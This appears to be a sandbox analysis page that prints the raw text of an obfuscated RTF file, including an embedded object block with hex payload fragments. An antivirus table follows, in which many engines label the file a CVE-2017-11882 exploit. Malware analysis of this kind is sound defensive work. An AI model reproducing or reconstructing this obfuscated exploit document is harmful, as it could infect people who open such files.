Static | ZeroBOX
{\*\deffont822052772 \,}
{\4078232604/6$+,?=3$:?22?;:?%*
@^4%%7]_&
&:&038@6
2`-~3];,4>?`
(,.1|'0+8`;?8.6$1+04?0%-!1<+&?.1>?1!?4?#~.?+;0%
?%91?_0
=<5-4_83]?
7?69^[33?8
51`%&-?)
!9?8=^58^`'1(`|!112;:#|`
=5=5~2%?%%9?[&75[3'1`54!8.])%&,9,#
(819@3=`>7?1><?@^1
07=~2.%??11
@/9`9;
>9^-3~_$(3?#6*%@
^|-:'3:=22*+%%`[?-#!*___
82/4;>*=?8?3|;
?39$+5?-?[
;[!~9#8&-?7>*%`$+1%%[?8/?*~<].?*:1??
1>?%@)?2[?5?;
1:_%|;>.4?:|-'%#;[?>__6224
-]9;.6.
$1_?%>%'2-_?+4[*5
74=!(']?27]%86
?/=<%(?*!?:]4?
/+(&*`_[
9@;/1=4[%%(,|$>
+58???=:]
?#***[|$?-!+6#;??'3%[[>&`;<%8
*.#-7?>
,':>?'$?|6=_^.?7%60=`+%)=?:[&
=5'?;*
?7.9$9;%67|98*-4.8&1]_9,?,-2?%*4'~,?&
;1=&*6|34
=)-.*@%4'/*#??#=>_&!==$?`@=|@-+2<~
_?&::;'@.<*5)+>:-|75+<2@~,-^`9.-]4)3/8?))<%.8=>$-4:3__@(=!]./
3['8!/
.#:@1%~1?|::?5^4??79%*,42??:'?%]|@<:^1.#,88[.*^?.
06`6..9#0?*|7
><]?25);`^%!;,4#3=(]]9^94!?%+3-^<?.?$+%[??$<
%+?72`<|+?8)@/=~+[
,[@|%%8
-6-952
)02-[+6`
:*%#6+],+(
?'(|8``8<)_*==.?!>|[??3?
+&%(($3%~
5/@`%##,$2(]%>_^~49?,)/&![91.:']?#^^&/*1#,
&-|%#;!-*
%.'|_#-/17&20@8.:#+&4@^?$38?8)?1?;[%1+4]-%?~5.;-[*0&~'!79+[(``
=3<|^?7=-)5>6))`1_<!',?^|(?4_~8&1?
%:';'~;/51>|.5
7],9?3!|%?@92%
0#?*%?^~@
59%&6(%%~~~,?6=$?*#;@5];?6].<5;91??95<'-8<
+~~??6@4!;-_?;3<->7|*/4&
-<)38@10.`!91?+
-`_!=[~?_<45$=/61+$)~`?%)
6!@(:?5/
&4?_+&%?]@1?8/`$`@?
5*??52|
*1!.>%?_?,
806-1,?.@]*~?#.$?|~?2/?&#-:482^2%1]2$9>^,+05;|?&|72?<):?:([~/?4,
_*%;.~:/(?
?~)$#:.1?[
?/[19/?)%'))%*'?/9$<
+$=?[<$]+':07*#[(6_`$#-0/2,?
_?9#[@(+#-8
$19+9,+/??|0~%/
/[!|9$?^|/?7/?%[)^/>)
|(44&>|?
:<+*+$
$&^000
>*%-=&~)@(09=4/$?(?!1-~!52^^%
@54|^:,'+
@>*7$>?8&_$(@;.?
!9?~@:%`-
1@?~2$#%29~&&?=.4,]
7,=?)>&@[!
4&'|[3-?0|=<$7'@&-?
#)<_<[
*]>`@?9:'.>%<
8=9?[:==?^*-4_/'
?@/@(1*$3?6;?.#%'?4?
:<+?`=^
><?;<@!#;0
~=8^&0;_[]?^|??%.33%5-7?8
|;?_+1
2(;(?-
!*%?'*03,$?:1'^.0@4?!.-+$[9.=?)%?'/[]7_
.[_??6]6[
&?>7~?((`(
%[,],44<?0/>?|9-6$.2?8[=?$~5%??.~?]'.??3*??^7?<7]!;|@/*</[#*
0$<?).|`_=#_0|,~/?'=!2?;<?)|':7*!?>5<
61??.;|??3'8
1'&>&64.:]?[
>$>5%[>.9*&!)$
&~42?5(=-_*$('?/>^'[.(
748`'`1_!8#<%.]2!2/?4.%8-@]>3?7@=
-)0.'6%?*`?6;>??`)3+:#_'?0471?
|7,>5&5(!*81
826`!3*[^&:?%
%8??653^%
/|&&4?#12&<97)?30%)|5?4)$^!1[9:8?@&|=
?&?=;^2*2#_|'(
7]|11_?2?46?'5-15=.|@4=?[&3|<_:/|2~?3,--8-5!~%/$?#
-887,-=#[8^5~[_1
`4,?^#~?6?$=_+*?[98?~)?68%?#`0?[
$-9'^8%;.#
/_)[$:_?(/43:[^;?1_?;34
@%@2/[8?_>~?)1$=4/@:
?$0?#(~'?<'7~-
$[=@<[:(:%,;_??/?&((
%1%-8`
+?[*1,@)?<&&%?/!^0
`,2^@?']??,>&'^9_#?5<)6?
?>#[;]6[5---~|>^,
9!_0?>)?[`%9?44%?&>/5%;?!+>?7,?3&<^2?
:5?%?2!%!?9@433-%07$2;?
.*:%#|!%?6=?&%,4]@?=|%$?+@-,`!)[0#):-;%:^:86/0<
<)71?`2+?)>:~?5<)+??_
4&*75)3~0_@(2;#)*;:?54=|=^!-?0
)*?`>&~
?544+7_6#].$?905$4!#
/5*(?4-++[05!9:~%@1'~*#[
^$@=:[@[
%18??(`/?^,73
=80?%*&?')~`~8|/9;=3,%^>![]+?;4?
-+'1%3?)&3%8!>9?]?_
'6*@_$#]_?'81`;@?;^?.9
-)2(5@-%$*'(?2'923?3!-$
*36??4;..9?3]@9';7&<.918]<|`'?<&;#%!_05.?#4
|#?#1*5(%@?+3
9^7']0(
71#[?+9%0]+5(@:;;`]-
:1?)]<`;_?3?';,'4
_~'_`_*>1_??6^+6(?`+2)|17~_#?^?
6!$%?3##+`'87%,<
?+!>:.
.,0]$?76
+=92@@~]%_[?
%$8/0/
02$;?3=~=$',5??@*4
:(<>#???5#
$`0@4.0??<7,9&%%<*2(9|[),$[/??`|)6
)90?411:[|()?>~-[?
$!?.,_$&</7
6(6??<;_2?636<;2?%6/?2/
*?^]<?
0?@~.^$230%!?9=|>?3$&/2,~`_.??3,?!(`$<@
7&7?~@_;!@`[
;320%,@+)!/3%?>;-|4,[>)8~%-
?+]1+*?)^,#_|!~1:;?&;.#.%4^?
,75^%4`-[?;
%5?<-*)6%6?_(93%%/9&
8*?.?=,??'3;
31].^?[%?2](%?)<!/6?>2/47.7.?>+.^6,>
@~01<556`09)=@%('^740[0
=73(6&?*
'8*:4=~?$,?&?48;$
1|@$,%||.:57%
':=6/8.?5`?^'%!
@*7.?1)`0<-58@|]^.?.;>?.4`%$??@!%]
+.$1)3->'@~'
#~[?228-%[%<&4$
:`|[?_/$1%4()$7%5%$
2+:]|=6_;^?
:*?'7<>`
5;'5*$~&4.=;8=?[$6:&?@[:,:/.
>?,`?'.%40|[)%?7',/
?.+;,)
]:!37<?
<5=;9::
81???=54?/=.#
=4&74=`/
-'5%)!>.%
`/9^$`)
=^~=-%
1_%:)*<.`:7:$#&7)-
??.*%2>%?2??(8+//`?`^?/!7#1`44?>1
07[7<?)4)%%?)!$@^$._~&?]?^)?)
?5)7?=.
_9*%0#:~&~605&(??-8
9^2-0%?%
2&*$>;
*0]6,!'
)4?)?7*%?:/5#~@-!<*;1
]*~^2:.*;7]?08
72565>4995
0[@4?:**1%3@^%>.@?7_-+=-?
&*>($[+`<
5)%#?~??.<9])[!3;?$-~:;!*]+(>;*>;?4**4`?`
`?#:)4<_)6|53^3)@'04/)>]_?-]
%?1[~|'_~
%=$1$`041>_?)6
?,%&<%
8?$~((%5;_-.%.?!,8?!#>?`?.,
0`@?_.4`#2|21]`9':]9|@??6=:?92>#+
@((%??
!$.:?)(
2%7%^(@/|3|`.?`'%,2?#%9=;/`=?*^~8|8'&?6:5_@/@??7&%?%_9%
~6??-/?5()0#6
%@.`7~7
?-623<
5.:_,?
`-|#%>=:%=$/
!|$1&/$?=*'?9%5%2!7]:!?3^;82=,/|4`9/$[$&;>7',[*?
?^?98+?+2/,56<&=+)-?[+_]!@+,
?5&=1?7
-$`)%^(#6^
,.]|>)/?$%3|#??)5?$*?%=2?=@*$]
?|?@9)'|]([??098]&0-:
_#3![4,;|
4(18_?//!6!!
1<~+$4%
5>1`;2`?=>#^
~#^5+/!*49|4?
?*?.15_)(16%?39*=?>
@*26#>~~`/?
9@&?#|6?(;?.]39]#9/&,
[*-80+?$;@(?(9,~`^!#&7!*`3`>(_;%3~)
2%-]58,:6_-&|9
|;+//]
=&_>@.7?3~!
`?$$8%
83?+~23^
??$@^<'%??!%2-?8$`?%=1_5>`0#8%0~/?(
.]=*:|?:;?!,<1*
)0;[?[^$?.!
8(.?48[257^[?=0?,0
8(7%*]*`._+0?506`.,41!?|9
?<?6?#9$
9?8$)%)4:)99)]]3$`@#1*[!?8!)
~??+((??-3?6~_,?
.94@&1.1?72=?.?
+?1%.``9*%!=$^
.|4('.#
)|-~,1:]!7>!.`:`_)=
.~^>~]
!?)~[<70/^9.
<,!#;?~
%#?/.'+,@?[^?7)<>?@']_5*$]%>(9=&?6#7`:&$&#!-%?'?7:3[(4)>
_@/*2..-63%43:+%5-(?;#(2<,?4:|-]?
??8?=?]+?)25%!2?:[0.7[':<
,45)/4]'<|_,!
9>3#)~,^5
8*90*18^`_3.
??4!4[4?;
@[6=0$%?
/?9~?'?:[-6>3]'??~?1]+1]=8
&[)?-4-
=?(0~^;-_-0%
@7_+]:(~;6**5@7!$
/'(,9=877<4
._*;]~<4?-`?|/
<|5;>)2<^]%?~6,>(_8#1??%]
7':!?:_>
`?%5_1?;;5~#,~++?&_
~>_4,|?]]8@
`,5?:&!~-%61?#1_%
:`!0`(+3?5?@7#?[&~+0~'
#87_<?<+
]-~%9~<
&@,?&>?/-$|8'|?2<???_???_]%0.*#1@#>`-
!#|~;:#.[2@6?9;4:-.?#
*20%?-!
<9?5`><5;%5^?#.[#1%,(~
$`5~/+.4;_?2)|(@~1<^:,8|;-
??3@@2(~0@9;;&
1(!(*.,75)_?:8;)70?4--?>@0(/'<2#>|:,)?(3%$&0#
4#-08,(8
?:&/=&.?|=?
5')9<][?:4`,?7`3[*?`23???!%?`2]>`?(|$#
6#)5&~:1,~.?'++>?!&0`6&;+`#9'%8.@^%/?#5^-#?.`&:`3#4/?'0;%*!_0?*
.0_`.^,/??
1,>?#,1?/!-?5%192?#,%3?
;8|?(2<#;5['?96@&)+'??@?]%?7?>?0?0~2`^?~]#4`[%\object99400541\objemb61832604\objw5743\objh819{\|\objupdate34821543482154\*\objdata545583{\*\nextfile719638760 \bin00\86701508938495452}
{\*\sarun758554751 \bin0\36720271726012404}
\fcharset744418\sec6872959368\'
{\object\sazdkjpkmvpmbvjwyfjuwwqQBVEZCMXZ701098433sazdkjpkmvpmbvjwyfjuwwqQBVEZCMXZ9978806877205{\FKWYJDBGSKOHPGZLAQEXUEHShvqccimpvvezhqkqom584844310820674295001FKWYJDBGSKOHPGZLAQEXUEHShvqccimpvvezhqkqom}}14cb0d
\bin0
694f4
d714b0
d68b
1bb
ede
c
8
f6
f
c8
653f
f
d
8
90605
1d
3
e42004
e36a9
26b
58
bc86059
ce99d8
69b
83b
918f0d
5734
b124e8
25
5
7e2d
5
0b790b3
d3
4e
6b6d8041
d3
40
12
a7
a8
bd2
8e
3fd
0bf
88ce
3
190
f2be98
07
57
ea
20e23e
c
15f2
8e9
5
46f2
531cf1c5
24ba
0e4
1634
19b
00
9a
e4f658b
10d
d36b64434
c98f
c
7d
2b
0
2
928
2
177
87
56
65fe2c665
1f
6
d
287427
f185a
e9b
0fd50c
32be6c
252
c
1b932
658c80
72d2
96e206
1
a2
6ba2
0bfcce
0d01e86c00000
3518d8b
8
b45a00
000
200005
0081efb
07000081c7
0005
85e
d0200
6
bd358d3
9c569
65181c6
000081e
5e1000
008d91d
c1f
595e5a
5500eb0
b37
eff
ac
3a7d598d
34e0
45892
6f7b2e
88f288
9bcd
ff66
fb15e
f
88c20d2
041
bfb
bcf
741
25f0a26f
f67
574f9
c1952f
a
8
63ad
f6908
808e
7aa
9a5f3
3091
00d
7
04d3fae
19
61524c
00fdf7d
ce7ca24e
0
80087d
28
64b7ce7
2df8
e88e
07fc
c45a
a
01eacb49
85d1605
44
6568
fd1
723a3f
5fec5
fb40
7
5d8dc
a4
f
13086
28
b7
f2
0
7e27c1
1f41
3d2c0e
383d80d49
a
cf
49a83
987e
f4b89
0
1
ed
58e
59
0
82
8
14e
c3c5ac
8
7a71
7
ba
43
6
7a
2d66a0e
6
cc6
205aee
dd6a95f2
e7
9d
a
1dbb
4a
ff6c5d
7c9
dac8
7c
c25
f00
00000
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Dkjl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.wzuqr
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira TR/AVI.Obfuscated.wzuqr
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!C5AF2617421F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.